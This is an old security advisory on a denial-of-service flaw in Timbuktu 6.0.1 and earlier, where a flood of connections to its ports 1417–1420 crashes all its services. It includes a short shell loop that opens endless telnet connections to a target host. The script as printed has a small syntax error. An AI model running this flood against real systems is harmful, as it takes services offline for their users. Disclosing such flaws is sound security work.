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Timbuktu DoS



22th Jan 2002 [SBWID-5013]
COMMAND

	Timbuktu DoS

SYSTEMS AFFECTED

	Timbuktu 6.0.1 and Older

PROBLEM

	Teknophreak of Malloc() [superw00t.com] :
	

	Timbuktu utilizes a range of ports between (1417 - 1420). There exist  a
	Denial of Service vulnerability that will crash  all  timbuktu  services
	running.
	

	To exploit this all you must do is choose  one  of  the  Timbuktu  ports
	that are open and make a large number of connections to it  and  if  you
	keep a watch you will see that all the  Timbuktu  ports  available  will
	close one by one.
	

	

	#!/bin/sh

	

	while:

	do

	

		telnet tb2.host.com 1417 &

	

	done

	

	

SOLUTION

	Upgrade available ?


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